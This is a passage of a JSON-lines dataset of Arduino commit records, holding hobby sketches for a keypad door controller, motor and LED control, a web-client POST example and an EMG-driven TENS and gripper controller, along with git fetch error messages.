client.print(\"{\\\"response\\\":\\\"deactivate\\\"}\");\n }\n else{\n Serial.println(\"Unexpected command\");\n client.println(\"HTTP\/1.1 200 OK\");\n client.println(\"Content-Type: application\/json\");\n client.println();\n client.print(\"{\\\"response\\\":\\\"invalid_status\\\"}\");\n }\n }\n else if(type == 'a') {\n Serial.println(\"Pinging\");\n client.println(\"HTTP\/1.1 200 OK\");\n client.println(\"Content-Type: application\/json\");\n client.println();\n client.print(\"{\\\"response\\\":\\\"online\\\"}\");\n }\n else if(type == 'c') {\n Serial.println(\"Check Status\");\n client.println(\"HTTP\/1.1 200 OK\");\n client.println(\"Content-Type: application\/json\");\n client.println();\n if(device_status){\n client.print(\"{\\\"response\\\":\\\"active\\\"}\");\n }\n else{\n client.print(\"{\\\"response\\\":\\\"non-active\\\"}\");\n }\n }\n else {\n Serial.print(\"Unexpected type \");\n Serial.print(type);\n client.println(\"HTTP\/1.1 200 OK\");\n client.println(\"Content-Type: application\/json\");\n client.println();\n client.print(\"{\\\"response\\\":\\\"invalid\\\"}\");\n }\n }\n }\n break;\n }\n }\n delay(10);\n client.stop();\n }\n if(digitalRead(push_btn) == LOW){\n auth_user(\"keluar\");\n open_door();\n }\n\n if(device_status){\n char key = keypad.getKey();\n if (key != NO_KEY && key != '*'){\n pass[count] = key;\n count++;\n }\n if(key == '*'){\n attempt++;\n auth_user(pass);\n sys_init();\n }\n if(key == '#'){\n sys_init();\n }\n }\n}\n\nvoid sys_init(){\n memset(pass, 0, sizeof pass);\n count = 0;\n}\n\nvoid auth_user(char user_input[]){\n EthernetClient client;\n Serial.println(\"Sending\");\n if (client.connect(server_addr,80))\n {\n client.print(\"GET \/api\/dcs\/dcs_auth\/\");\n client.print(user_input);\n Serial.println(user_input);\n client.print(\" HTTP\/1.1\\n\");\n client.print(\"Host: 192.168.2.4\\n\");\n client.print(\"Connection: close\\n\\n\");\n Serial.println(\"Sending success\");\n }\n else{\n Serial.println(\"Sending failed\");\n }\n}\n\nvoid open_door(){\n Serial.println(\"Door open\");\n delay(1000);\n}\n\n","old_contents":"","returncode":1,"stderr":"error: pathspec 'BiotechHardware\/dcs\/dcs_ta2\/dcs_ta2.ino' did not match any file(s) known to git\n","license":"apache-2.0","lang":"Arduino"} {"commit":"a4181153335c6a334b216d2e6c96436163c99502","subject":"Three stack tower","message":"Three stack tower\n","repos":"AlbertZheng36\/ProjectDavid,AlbertZheng36\/ProjectDavid","old_file":"ThreeStack\/ThreeStack.ino","new_file":"ThreeStack\/ThreeStack.ino","new_contents":"int dir1PinA = 13;\nint speedPinA = 11;\nint buze = 4;\ndouble AcX, AcY, AcZ;\ndouble error1;\ndouble e1 = 0;\ndouble e2 = 0;\ndouble e3 = 0;\ndouble error_average;\nint current_angle = 0;\nint target_angle = 0;\nint Kp = 3;\n\nvoid motorControl(int pwm1, int dir1){\n int p1;\n if (pwm1 >= 255) {p1 = 255;}\n else {p1 = pwm1;}\n if (dir1 == 1){\n digitalWrite(dir1PinA, LOW);\n analogWrite(speedPinA,p1);\n }\n if (dir1 == 2){\n digitalWrite(dir1PinA, HIGH);\n analogWrite(speedPinA, p1);\n }\n}\n\nvoid setup() {\n \n \/\/ put your setup code here, to run once:\n Serial.begin(9600);\n pinMode(dir1PinA, OUTPUT);\n pinMode(speedPinA, OUTPUT);\n pinMode(buze, OUTPUT);\n}\n\nvoid loop() {\n AcX = (analogRead(A5)-342)\/68.0;\n AcZ = (analogRead(A3)-350)\/70.0;\n error1 = round(atan2(AcX, AcZ)\/3.14*180);\n e1 = e2;\n e2 = e3;\n e3 = error1;\n error_average = (e1 + e2 + e3)\/3;\n current_angle = error_average;\n int error = current_angle - target_angle;\n if (error > 0) {\n motorControl(Kp * error, 1);\n } else {\n motorControl(- Kp * error, 2);\n }\n \n \n Serial.print(\" accel_X_reading is \");Serial.print(AcX);\n Serial.print(\" accel_Z_reading is \");Serial.print(AcZ);\n Serial.print(\"error is\");Serial.println(error_average);\n digitalWrite(buze, LOW);\n \/\/ put your main code here, to run repeatedly:\n delay(20);\n\n}\n","old_contents":"","returncode":1,"stderr":"error: pathspec 'ThreeStack\/ThreeStack.ino' did not match any file(s) known to git\n","license":"mit","lang":"Arduino"} {"commit":"2cee075fc605bc7cd63ecaa3295aa2a05fb5a4e9","subject":"Shorten lines so it doesn't wrap when copied to my MSWord doc. Replaced min speed hardcode in MotorGo with const int variable.","message":"Shorten lines so it doesn't wrap when copied to my MSWord doc. Replaced min speed hardcode in MotorGo with const int variable.\n","repos":"tyblu\/comp444-random,tyblu\/comp444-random,tyblu\/comp444-random,tyblu\/comp444-random","old_file":"SIK Circuits\/Circuit_12_modified\/Circuit_12_modified.ino","new_file":"SIK Circuits\/Circuit_12_modified\/Circuit_12_modified.ino","new_contents":"","old_contents":"","returncode":1,"stderr":"error: pathspec 'SIK' did not match any file(s) known to git\nerror: pathspec 'Circuits\/Circuit_12_modified\/Circuit_12_modified.ino' did not match any file(s) known to git\n","license":"mit","lang":"Arduino"} {"commit":"770077ff32b85106d4882a2f1d27b9f575e8e80f","subject":"Sketches: Add sparkcore-glow-rgbled","message":"Sketches: Add sparkcore-glow-rgbled\n\nFix https:\/\/github.com\/gmacario\/learning-arduino\/issues\/30\n","repos":"gmacario\/learning-arduino","old_file":"Sketches\/sparkcore-glow-rgbled\/sparkcore-glow-rgbled.ino","new_file":"Sketches\/sparkcore-glow-rgbled\/sparkcore-glow-rgbled.ino","new_contents":"\/*\n * Glow a RGB LED on a Spark Core\n * Adapted from https:\/\/learn.adafruit.com\/rgb-led-strips\/example-code\n *\/\n\nint led_r = A4;\nint led_g = A5;\nint led_b = A6;\n\nint FADESPEED = 5; \/\/ make this higher to slow down\n\nvoid setup() {\n Serial.begin(9600);\n pinMode(led_r, OUTPUT);\n pinMode(led_g, OUTPUT);\n pinMode(led_b, OUTPUT);\n}\n\nvoid loop() {\n int r, g, b;\n\n Serial.println(\"fade from blue to violet\");\n for (r = 0; r < 256; r++) {\n analogWrite(led_r, r);\n delay(FADESPEED);\n }\n Serial.println(\"fade from violet to red\");\n for (b = 255; b > 0; b--) {\n analogWrite(led_b, b);\n delay(FADESPEED);\n }\n Serial.println(\"fade from red to yellow\");\n for (g = 0; g < 256; g++) {\n analogWrite(led_g, g);\n delay(FADESPEED);\n }\n Serial.println(\"fade from yellow to green\");\n for (r = 255; r > 0; r--) {\n analogWrite(led_r, r);\n delay(FADESPEED);\n }\n Serial.println(\"fade from green to teal\");\n for (b = 0; b < 256; b++) {\n analogWrite(led_b, b);\n delay(FADESPEED);\n }\n Serial.println(\"fade from teal to blue\");\n for (g = 255; g > 0; g--) {\n analogWrite(led_g, g);\n delay(FADESPEED);\n }\n}\n","old_contents":"","returncode":1,"stderr":"error: pathspec 'Sketches\/sparkcore-glow-rgbled\/sparkcore-glow-rgbled.ino' did not match any file(s) known to git\n","license":"mpl-2.0","lang":"Arduino"} {"commit":"e8d9b3c537cec6834e70c23c89798845a6cf8b6e","subject":"POSTPIR_OK ULTRASON_OK LED_KO","message":"POSTPIR_OK ULTRASON_OK LED_KO\n","repos":"nicogid\/Projet4Moc1,nicogid\/Projet4Moc1,nicogid\/Projet4Moc1,nicogid\/Projet4Moc1","old_file":"electro\/Exemple\/WebClientRepeatingPOST\/WebClientRepeatingPOST.ino","new_file":"electro\/Exemple\/WebClientRepeatingPOST\/WebClientRepeatingPOST.ino","new_contents":"\/*\n Repeating Web client\n\n This sketch connects to a a web server and makes a request\n using a Wiznet Ethernet shield. You can use the Arduino Ethernet shield, or\n the Adafruit Ethernet shield, either one will work, as long as it's got\n a Wiznet Ethernet module on board.\n\n This example uses DNS, by assigning the Ethernet client with a MAC address,\n IP address, and DNS address.\n\n Circuit:\n * Ethernet shield attached to pins 10, 11, 12, 13\n\n created 19 Apr 2012\n by Tom Igoe\n modified 21 Jan 2014\n by Federico Vanzati\n\n http:\/\/www.arduino.cc\/en\/Tutorial\/WebClientRepeating\n This code is in the public domain.\n\n *\/\n\n#include <SPI.h>\n#include <Ethernet.h>\n\nString data = \"{\\\"name\\\":\\\"TESTPOSTMULTI\\\"}\";\n\n\/\/ assign a MAC address for the ethernet controller.\n\/\/ fill in your address here:\nbyte mac[] = {\n 0xDE, 0xAD, 0xBE, 0xEF, 0xFE, 0xED\n};\n\/\/ fill in an available IP address on your network here,\n\/\/ for manual configuration:\nIPAddress ip(192, 168, 1, 177);\n\n\/\/ initialize the library instance:\nEthernetClient client;\n\n\/\/char server[] = \"www.arduino.cc\";\nIPAddress server(192,168,1,16);\n\nunsigned long lastConnectionTime = 0; \/\/ last time you connected to the server, in milliseconds\nconst unsigned long postingInterval = 10L * 1000L; \/\/ delay between updates, in milliseconds\n\/\/ the \"L\" is needed to use long type numbers\n\nvoid setup() {\n \/\/ start serial port:\n Serial.begin(9600);\n while (!Serial) {\n ; \/\/ wait for serial port to connect. Needed for native USB port only\n }\n\n \/\/ give the ethernet module time to boot up:\n delay(1000);\n \/\/ start the Ethernet connection using a fixed IP address and DNS server:\n Ethernet.begin(mac, ip);\n \/\/ print the Ethernet board\/shield's IP address:\n Serial.print(\"My IP address: \");\n Serial.println(Ethernet.localIP());\n}\n\nvoid loop() {\n \/\/ if there's incoming data from the net connection.\n \/\/ send it out the serial port. This is for debugging\n \/\/ purposes only:\n if (client.available()) {\n char c = client.read();\n Serial.write(c);\n }\n\n \/\/ if ten seconds have passed since your last connection,\n \/\/ then connect again and send data:\n if (millis() - lastConnectionTime > postingInterval) {\n httpRequest();\n }\n\n}\n\n\/\/ this method makes a HTTP connection to the server:\nvoid httpRequest() {\n \/\/ close any connection before send a new request.\n \/\/ This will free the socket on the WiFi shield\n client.stop();\n\n \/\/ if there's a successful connection:\n if (client.connect(server, 8000)) {\n Serial.println(\"connecting...\");\n \/\/ send the HTTP GET request:\n client.println(\"POST \/api\/addsensor HTTP\/1.1\"); \n client.println(\"Host: 192.168.1.16\");\n client.println(\"Content-Type: application\/x-www-form-urlencoded\");\n client.println(\"Connection: close\");\n client.println(\"User-Agent: Arduino\/1.0\");\n client.print(\"Content-Length: \");\n client.println(data.length());\n client.println();\n client.print(data);\n client.println(); \n\n \/\/ note the time that the connection was made:\n lastConnectionTime = millis();\n } else {\n \/\/ if you couldn't make a connection:\n Serial.println(\"connection failed\");\n }\n}\n","old_contents":"","returncode":1,"stderr":"error: pathspec 'electro\/Exemple\/WebClientRepeatingPOST\/WebClientRepeatingPOST.ino' did not match any file(s) known to git\n","license":"mit","lang":"Arduino"} {"commit":"8034232c757f0b64b265552151e5a0f7609393ef","subject":"added hardware tester for I2C messages","message":"added hardware tester for I2C messages\n","repos":"Sonoscopia\/KidModular,Sonoscopia\/KidModular","old_file":"hardware testers\/Oscillator\/CheckIncomingI2Cmessages\/CheckIncomingI2Cmessages.ino","new_file":"hardware testers\/Oscillator\/CheckIncomingI2Cmessages\/CheckIncomingI2Cmessages.ino","new_contents":"","old_contents":"","returncode":1,"stderr":"error: pathspec 'hardware' did not match any file(s) known to git\nerror: pathspec 'testers\/Oscillator\/CheckIncomingI2Cmessages\/CheckIncomingI2Cmessages.ino' did not match any file(s) known to git\n","license":"mit","lang":"Arduino"} {"commit":"34fc1488bb665b85296ad17fc9e6aecf75914d34","subject":"added beacon encoder sketch","message":"added beacon encoder sketch\n","repos":"TinkerUMD\/TinkerUMD","old_file":"course\/beacon_ir_encoder_sketch\/beacon_ir_encoder_sketch.ino","new_file":"course\/beacon_ir_encoder_sketch\/beacon_ir_encoder_sketch.ino","new_contents":"#define CONTROL_PIN 6\n\n\nvoid transmit_encoded_signal(char encoded_signal){\n \/\/Send start signal (off for 100ms on for 500ms)\n digitalWrite(CONTROL_PIN,LOW);\n delay(100);\n digitalWrite(CONTROL_PIN,HIGH);\n delay(500);\n digitalWrite(CONTROL_PIN,LOW);\n delay(100);\n \/\/Write encoded signal, each bit is written for 100ms\n \n \/\/Most significant bit\n digitalWrite(CONTROL_PIN,(encoded_signal&B10000000)==B10000000);\n delay(100);\n digitalWrite(CONTROL_PIN,(encoded_signal&B01000000)==B01000000);\n delay(100);\n digitalWrite(CONTROL_PIN,(encoded_signal&B00100000)==B00100000);\n delay(100);\n digitalWrite(CONTROL_PIN,(encoded_signal&B00010000)==B00010000);\n delay(100);\n digitalWrite(CONTROL_PIN,(encoded_signal&B00001000)==B00001000);\n delay(100);\n digitalWrite(CONTROL_PIN,(encoded_signal&B00000100)==B00000100);\n delay(100);\n digitalWrite(CONTROL_PIN,(encoded_signal&B00000010)==B00000010);\n delay(100);\n \/\/Least significant bit\n digitalWrite(CONTROL_PIN,(encoded_signal&B00000001)==B00000001);\n delay(100);\n \n}\nvoid setup(){\n Serial.begin(9600);\n pinMode(CONTROL_PIN,OUTPUT);\n}\n\nvoid loop(){\n transmit_encoded_signal(B11111111);\n delay(2000);\n}\n","old_contents":"","returncode":1,"stderr":"error: pathspec 'course\/beacon_ir_encoder_sketch\/beacon_ir_encoder_sketch.ino' did not match any file(s) known to git\n","license":"mit","lang":"Arduino"} {"commit":"511795b7f5d2ecbeac3c8b17b96f81e906ba4a0f","subject":"add RainbowCycle demo","message":"add RainbowCycle demo\n","repos":"chibitronics\/ltc-webview-layer,chibitronics\/ltc-webview-layer,chibitronics\/ltc-webview-layer,chibitronics\/ltc-webview-layer","old_file":"examples-ltc\/4.RainbowTape\/RainbowCycle\/RainbowCycle.ino","new_file":"examples-ltc\/4.RainbowTape\/RainbowCycle\/RainbowCycle.ino","new_contents":"#include \"Adafruit_NeoPixel.h\"\n\n#define pixelCount 5 \/\/ number of pixels in the chain; doesn't hurt to have less actual pixels in \nAdafruit_NeoPixel strip = Adafruit_NeoPixel(pixelCount, LED_BUILTIN_RGB,\n NEO_GRB + NEO_KHZ800);\n\n\n\/\/ Input a value 0 to 255 to get a color value.\n\/\/ The colours are a transition r - g - b - back to r.\nuint32_t Wheel(byte WheelPos) {\n WheelPos = 255 - WheelPos;\n if(WheelPos < 85) {\n return strip.Color(255 - WheelPos * 3, 0, WheelPos * 3);\n }\n if(WheelPos < 170) {\n WheelPos -= 85;\n return strip.Color(0, WheelPos * 3, 255 - WheelPos * 3);\n }\n WheelPos -= 170;\n return strip.Color(WheelPos * 3, 255 - WheelPos * 3, 0);\n}\n\n\/\/ Slightly different, this makes the rainbow equally distributed throughout\nvoid rainbowCycle(uint8_t wait) {\n uint16_t i, j;\n\n for(j=0; j<256*5; j++) { \/\/ 5 cycles of all colors on wheel\n for(i=0; i< strip.numPixels(); i++) {\n strip.setPixelColor(i, Wheel(((i * 256 \/ strip.numPixels()) + j) & 255));\n }\n strip.show();\n delay(wait);\n }\n}\n\nvoid setup() {\n strip.begin();\n strip.show(); \/\/ Initialize all pixels to 'off'\n}\n\nvoid loop() {\n rainbowCycle(20);\n}\n\n\/\/ Code based on Adafruit Neopixel examples\n","old_contents":"","returncode":1,"stderr":"error: pathspec 'examples-ltc\/4.RainbowTape\/RainbowCycle\/RainbowCycle.ino' did not match any file(s) known to git\n","license":"mit","lang":"Arduino"} {"commit":"a2a11d57af867d29a6bb06c3e1e0c89410f4757e","subject":"Colorful Light","message":"Colorful Light\n\nthere were some noisy color changes when switching from one color to\nanother color, fixed that by making sure that the ranges are all\ncontinues.\n","repos":"MakerWear\/MakerWear,MakerWear\/MakerWear,MakerWear\/MakerWear","old_file":"Action Modules\/RGB LED\/RGBLEDATtiny\/RGBLEDATtiny.ino","new_file":"Action Modules\/RGB LED\/RGBLEDATtiny\/RGBLEDATtiny.ino","new_contents":"","old_contents":"","returncode":1,"stderr":"error: pathspec 'Action' did not match any file(s) known to git\nerror: pathspec 'Modules\/RGB' did not match any file(s) known to git\nerror: pathspec 'LED\/RGBLEDATtiny\/RGBLEDATtiny.ino' did not match any file(s) known to git\n","license":"mit","lang":"Arduino"} {"commit":"c44d8166d2aa0ef8fa289faac54dcb9c4b17bc4f","subject":"Optimise data types","message":"Optimise data types","repos":"majenkotech\/Arduino,majenkotech\/Arduino,majenkotech\/Arduino,majenkotech\/Arduino,majenkotech\/Arduino,majenkotech\/Arduino,majenkotech\/Arduino","old_file":"build\/shared\/examples\/04.Communication\/Midi\/Midi.ino","new_file":"build\/shared\/examples\/04.Communication\/Midi\/Midi.ino","new_contents":"","old_contents":"","returncode":128,"stderr":"fatal: remote error: upload-pack: not our ref c44d8166d2aa0ef8fa289faac54dcb9c4b17bc4f\nfatal: the remote end hung up unexpectedly\n","license":"lgpl-2.1","lang":"Arduino"} {"commit":"db907c43a8dad369840ea639debd6d1d1edcb7aa","subject":"Latest driver","message":"Latest driver\n","repos":"Pitchless\/arceye,Pitchless\/arceye","old_file":"arduino\/arduino_md03_v_5_0\/arduino_md03_v_5_0.ino","new_file":"arduino\/arduino_md03_v_5_0\/arduino_md03_v_5_0.ino","new_contents":"\/***************************************************\n ArcEyes MD03 I2C sandbox\n by David Wilman \n MD03 over I2C code by By James Henderson 2012 \n****************************************************\/\n\n#include <Wire.h>\n#include <LCD.h>\n#include <LiquidCrystal_I2C.h>\n\n \/\/int LCD pins on I2C bus\n #define I2C_ADDR 0x27\n #define BACKLIGHT_PIN 3\n #define En_pin 2\n #define Rw_pin 1\n #define Rs_pin 0\n #define D4_pin 4\n #define D5_pin 5\n #define D6_pin 6\n #define D7_pin 7\n LiquidCrystal_I2C lcd(I2C_ADDR,En_pin,Rw_pin,Rs_pin,D4_pin,D5_pin,D6_pin,D7_pin);\n\nconst int potPin1 = A0;\nconst int potPin2 = A1;\nconst int potPin3 = A2;\nconst int rlyPin1 = 7; \/\/ Relay Pin for break\nconst int rlyPin2 = 8; \/\/ Relay Pin for break\nconst int rlyPin3 = 9; \/\/ Relay Pin for break\nconst int motorPinSpeed1 = 3;\nconst int motorPinSpeed2 = 10;\nconst int motorPinSpeed3 = 11;\nconst int motorPinDir1 = 2;\nconst int motorPinDir2 = 4;\nconst int motorPinDir3 = 5;\nboolean direct1 = LOW; \/\/ Stores what direction the motor should run in\nboolean direct2 = LOW; \/\/ Stores what direction the motor should run in\nboolean direct3 = LOW; \/\/ Stores what direction the motor should run in\nfloat speedControl1 = 0; \/\/store the current speed\nfloat speedControl2 = 0; \/\/store the current speed\nfloat speedControl3 = 0; \/\/store the current speed\nlong previousMillis = 0; \/\/ store the time LCD was last updated\nlong interval = 50; \/\/ time setween lcd updates\n\n\n\/\/serial\nString inputString = \"\"; \/\/ a string to hold incoming data\nboolean stringComplete = false; \/\/ whether the string is complete\n\n\n\nvoid setup(){\n Wire.begin(); \/\/start I2C bus\n delay(100); \/\/wait for bus to stabalise\n pinMode(rlyPin1,OUTPUT); \/\/ Setup pins\n pinMode(rlyPin2,OUTPUT); \/\/ Setup pins\n pinMode(rlyPin3,OUTPUT); \/\/ Setup pins\n pinMode(motorPinDir1,OUTPUT); \/\/ Setup pins\n pinMode(motorPinDir2,OUTPUT); \/\/ Setup pins\n pinMode(motorPinDir3,OUTPUT); \/\/ Setup pins\n lcd.begin (16,2); \/\/ 2 rows x 16 char\n \/\/ Switch on the backlight\n lcd.setBacklightPin(BACKLIGHT_PIN,POSITIVE);\n lcd.setBacklight(HIGH);\n lcd.clear();\n lcd.setCursor(0,0);\n lcd.print(\"ArcEyes MD03 I2C\");\n lcd.setCursor(0,1);\n lcd.print(\"SandBox\");\n delay(30);\n \/\/lcd.clear();\n \n \n \/\/serial\n \n Serial.begin(9600);\n \/\/ reserve 200 bytes for the inputString:\n inputString.reserve(200);\n}\n\nvoid loop(){\n direct1 = manualSpeedControl(motorPinSpeed1, potPin1, rlyPin1, motorPinDir1, direct1, speedControl1);\n direct2 = manualSpeedControl(motorPinSpeed2, potPin2, rlyPin2, motorPinDir2, direct2, speedControl2);\n direct3 = manualSpeedControl(motorPinSpeed3, potPin3, rlyPin3, motorPinDir3, direct3, speedControl3);\n \n \/\/ print the string when a newline arrives:\n if (stringComplete) {\n Serial.println(inputString); \n \/\/ clear the string:\n inputString = \"\";\n stringComplete = false;\n }\n \n \n}\n\n\nbyte manualSpeedControl(int speedPin, byte potPin, int rlyPin, int dirPin, byte direct, int speedControl){\n int potVal = analogRead(potPin);\n if(potVal < 450){ \/\/Sets reverse speed from Pot1\n digitalWrite(rlyPin, LOW);\n speedControl = map(potVal, 450, 0, 0, 250);\n direct = LOW;\n }\n else if(potVal < 573){ \/\/ sets zero speed from Pot1\n digitalWrite(rlyPin, HIGH);\n speedControl = 0;\n }\n else if (potVal >= 574){ \/\/ sets forward speed from Pot1\n digitalWrite(rlyPin, LOW);\n speedControl = map(potVal, 574, 1023, 0, 250);\n direct = HIGH;\n }\n analogWrite(speedPin, speedControl); \n digitalWrite(dirPin, direct); \n \n return direct;\n}\n\/*\nbyte getData(int address, byte reg){ \/\/ function for getting data from MD03\n Wire.beginTransmission(address);\n Wire.write(reg);\n Wire.endTransmission();\n \n byte data = 0;\n \/\/for (int i; i<100; i++){\n Wire.requestFrom(address, 1); \/\/ Requests byte from MD03\n while(Wire.available() < 1); \/\/ Waits for byte to become availble\n data = Wire.read();\n \/\/}\n \n return(data);\n}\n\nvoid sendData(int address, byte reg, byte val){ \/\/ Function for sending data to MD03\n Wire.beginTransmission(address); \/\/ Send data to MD03\n Wire.write(reg);\n Wire.write(val);\n Wire.endTransmission();\n}\n*\/\n\/*\n SerialEvent occurs whenever a new data comes in the\n hardware serial RX. This routine is run between each\n time loop() runs, so using delay inside loop can delay\n response. Multiple bytes of data may be available.\n *\/\nvoid serialEvent() {\n while (Serial.available()) {\n \/\/ get the new byte:\n char inChar = (char)Serial.read();\n lcd.clear();\n lcd.setCursor(0,0);\n lcd.print(inChar);\n \/\/ add it to the inputString:\n inputString += inChar;\n \/\/ if the incoming character is a newline, set a flag\n \/\/ so the main loop can do something about it:\n if (inChar == '\\n') {\n stringComplete = true;\n } \n }\n lcd.clear();\n lcd.setCursor(0,0);\n lcd.print(inputString);\n\n}\n","old_contents":"","returncode":1,"stderr":"error: pathspec 'arduino\/arduino_md03_v_5_0\/arduino_md03_v_5_0.ino' did not match any file(s) known to git\n","license":"apache-2.0","lang":"Arduino"} {"commit":"69475c1967e059e1ac0a6fc938d38cdfcb659288","subject":"REV14 hardware test","message":"REV14 hardware test","repos":"opentrv\/opentrv,opentrv\/opentrv,opentrv\/opentrv,opentrv\/opentrv,opentrv\/opentrv","old_file":"Arduino\/hardware\/REV14\/rn2483test\/rn2483test.ino","new_file":"Arduino\/hardware\/REV14\/rn2483test\/rn2483test.ino","new_contents":"uint8_t ch = 0;\n\nvoid setup() {\n \/\/ put your setup code here, to run once:\n Serial.begin(19200);\n Serial.println(\"start\");\n}\n\nvoid loop() {\n \/\/ put your main code here, to run repeatedly:\n uint8_t inBuf[64];\n uint8_t outBuf[128];\n\n for(uint8_t i = 0; i < sizeof(inBuf); i++) {\n inBuf[i] = i + (ch * sizeof(inBuf));\n }\n\n Serial.print(\"ReturnVal: \");\n Serial.println(getHex(inBuf, outBuf, sizeof(outBuf)));\n for(uint8_t i = 0; i < sizeof(inBuf); i++) {\n Serial.print(inBuf[i], HEX);\n }\n Serial.println();\n Serial.write(outBuf, sizeof(outBuf));\n Serial.println();\n Serial.println();\n ch++;\n while (ch == 4) {}\n delay(500);\n}\n\nbool getHex(const uint8_t *string, uint8_t *output, uint8_t outputLen)\n{\n if((string || output) == NULL) return false; \/\/ check for null pointer\n uint8_t counter = outputLen;\n \/\/ convert to hex\n while(counter) {\n uint8_t highValue = *string >> 4;\n uint8_t lowValue = *string & 0x0f;\n uint8_t temp;\n \n temp = highValue;\n if(temp <= 9) temp += '0';\n else temp += ('A' - 10);\n *output++ = temp;\n\n temp = lowValue;\n if(temp <= 9) temp += '0';\n else temp += ('A'-10);\n *output++ = temp;\n\n string++;\n counter -= 2;\n }\n return true;\n}\n","old_contents":"","returncode":1,"stderr":"error: pathspec 'Arduino\/hardware\/REV14\/rn2483test\/rn2483test.ino' did not match any file(s) known to git\n","license":"apache-2.0","lang":"Arduino"} {"commit":"4b2155cdf9373cbc0b76fe237100441448c4e878","subject":"Connecting of computer mouse on SpikeRecorder with Arduino Due","message":"Connecting of computer mouse on SpikeRecorder with Arduino Due\n","repos":"BackyardBrains\/SpikerShield,BackyardBrains\/SpikerShield","old_file":"Muscle\/Arduino Code\/Mouse\/MouseAndSpikeRecorder.ino","new_file":"Muscle\/Arduino Code\/Mouse\/MouseAndSpikeRecorder.ino","new_contents":"","old_contents":"","returncode":1,"stderr":"error: pathspec 'Muscle\/Arduino' did not match any file(s) known to git\nerror: pathspec 'Code\/Mouse\/MouseAndSpikeRecorder.ino' did not match any file(s) known to git\n","license":"mit","lang":"Arduino"} {"commit":"092fc96f9421c1cf4fa2cfbbf4cb6a178e9a7a8b","subject":"Add plain hhi code","message":"Add plain hhi code\n","repos":"thusoy\/hhi-experiments","old_file":"HHI_switches_gripper\/HHI_switches_gripper.ino","new_file":"HHI_switches_gripper\/HHI_switches_gripper.ino","new_contents":"\/* Arduino Code for an EMG SpikerShield to control a TENS device, LED lights, and a gripper *\/\n\n#include <Servo.h> \/\/Includes the Gripper Servo Library\nServo ServoGripper; \/\/Declares the Name of the Servo to be ServoGripper -- this is all if you want to control a gripper hand as well\n\n#define NUM_LED 6 \/\/sets the maximum numbers of LEDs\n#define MAX_Low 100 \/\/for people with low EMG activity\n#define MAX_High 254\/\/for people with high EMG activity\n#define Threshold 3 \/\/ this sets the light to activate TENS\n#define threshold_degrees 10 \/\/Number of steps the Servo will have\n\nint reading[10];\nint finalReading;\nint StimPin = 3; \/\/ TENS Digital 3\nint SwitchPin = 4; \/\/ pushbutton connected to digital pin 4 - this will momentarily turn on TENS\nint SwitchThreshold = 7; \/\/pushbutton connected to digital pin 7 - this will switch thresholds\nint GripPin = 2; \/\/Digital Out that controls Servo Motor Gripper Hand\nint SwitchState = 0;\nint SwitchThresholdState = 0;\nint MAX = 0;\nbyte litLeds = 0;\nbyte multiplier = 1;\nbyte leds[] = {8, 9, 10, 11, 12, 13};\nint aQ1 = 11;\nint aQ2 = 13;\nint aQ3 = 8;\n\nconst int UpdateTime = 200; \/\/ (number of milliseconds between updating servo position -- if too low you will burn motor out)\nunsigned long OldTime = 0;\nint old_degrees = 0;\nint new_degrees = 0;\n\nvoid setup(){\n Serial.begin(9600); \/\/begin serial communications\n ServoGripper.attach(GripPin); \/\/Declare the Servo to be Connected to GripPin\n pinMode(StimPin, OUTPUT); \/\/ Set TENS output to StimPin\n pinMode(SwitchPin, INPUT); \/\/ sets the digital pin 4 as the switch input\n pinMode(SwitchThreshold, INPUT); \/\/ sets the digital pin 7 as the threshold changer\n for(int i = 0; i < NUM_LED; i++){ \/\/initialize LEDs as outputs\n pinMode(leds[i], OUTPUT);\n pinMode(aQ1, OUTPUT);\n \n }\n MAX = MAX_High; \/\/This sets the default to people with high EMG activity.\n \n \n}\n\nvoid loop(){\n \n \/\/note the serial print stuff is sjust debugging tools\n SwitchThresholdState = digitalRead(SwitchThreshold);\n if (SwitchThresholdState == HIGH){ \/\/ This will allow the switching between a low threshold and high threshold state on S2\n if (MAX == MAX_High){ MAX = MAX_Low; digitalWrite(aQ3, HIGH);}\n else{\n MAX = MAX_High; digitalWrite(aQ2, HIGH); } \n while (SwitchThresholdState == HIGH) { \/\/ This will pause the program while the person is touching the threshold button, \n SwitchThresholdState = digitalRead(SwitchThreshold); \n delay(10); } \/\/ so it doesn't flip back and forth while button is pushed\n }\n\n SwitchState = digitalRead(SwitchPin);\n \/\/Serial.println(SwitchState);\n if (SwitchState == HIGH){ \/\/ This will activate the TENS if the PushButton is pressed on S1\n digitalWrite(StimPin, HIGH), digitalWrite(aQ1, HIGH);\n \/\/Serial.println('Stim');\n while (SwitchState == HIGH) { \/\/ This will pause the program while the person is touching TENS test button\n SwitchState = digitalRead(SwitchPin); \n delay(10); } \n } \n \n for(int i = 0; i < 10; i++){ \/\/take ten readings in ~0.02 seconds\n reading[i] = analogRead(A0) * multiplier;\n delay(2);\n }\n for(int i = 0; i < 10; i++){ \/\/average the ten readings\n finalReading += reading[i];\n }\n finalReading \/= 10;\n for(int j = 0; j < NUM_LED; j++){ \/\/write all LEDs low and stim pin low\n\n digitalWrite(leds[j], LOW);\n digitalWrite(StimPin, LOW); \n }\n Serial.println(finalReading);\n \/\/Serial.print(\"\\t\");\n finalReading = constrain(finalReading, 0, MAX);\n litLeds = map(finalReading, 0, MAX, 0, NUM_LED);\n \/\/Serial.println(litLeds);\n \n for(int k = 0; k < litLeds; k++){\n digitalWrite(leds[k], HIGH); \/\/ This turns on the LEDS\n if (k >= Threshold){\n digitalWrite(StimPin, HIGH); \/\/ This turns on the TENS as a function of which LED is lit\n } \n }\n \n new_degrees = map(finalReading, 0 ,MAX, 165, 0); \/\/Translate the analog reading to degrees for the servo (from 165\u00b0 to 0\u00b0).\n\nif (millis() - OldTime > UpdateTime){\n if(abs(new_degrees-old_degrees) > threshold_degrees){\n ServoGripper.write(new_degrees); \/\/Move the servo according to the degrees calculated\n }\n OldTime = millis();\n old_degrees = new_degrees;\n} \n \/\/delay(10);\n \/\/for serial debugging, uncomment the next two lines.\n \/\/Serial.println(finalReading);\n \/\/delay(100);\n}\n \n","old_contents":"","returncode":1,"stderr":"error: pathspec 'HHI_switches_gripper\/HHI_switches_gripper.ino' did not match any file(s) known to git\n","license":"mit","lang":"Arduino"} {"commit":"a76243e5792a29512a9ea9f0c8fc7b365fb1b555","subject":"Create PotMeterRead.ino","message":"Create PotMeterRead.ino","repos":"TheThingsNetwork\/workshops,TheThingsNetwork\/workshops","old_file":"The Things Network\/potmeter-workshop\/PotMeterRead\/PotMeterRead.ino","new_file":"The Things Network\/potmeter-workshop\/PotMeterRead\/PotMeterRead.ino","new_contents":"","old_contents":"","returncode":1,"stderr":"error: pathspec 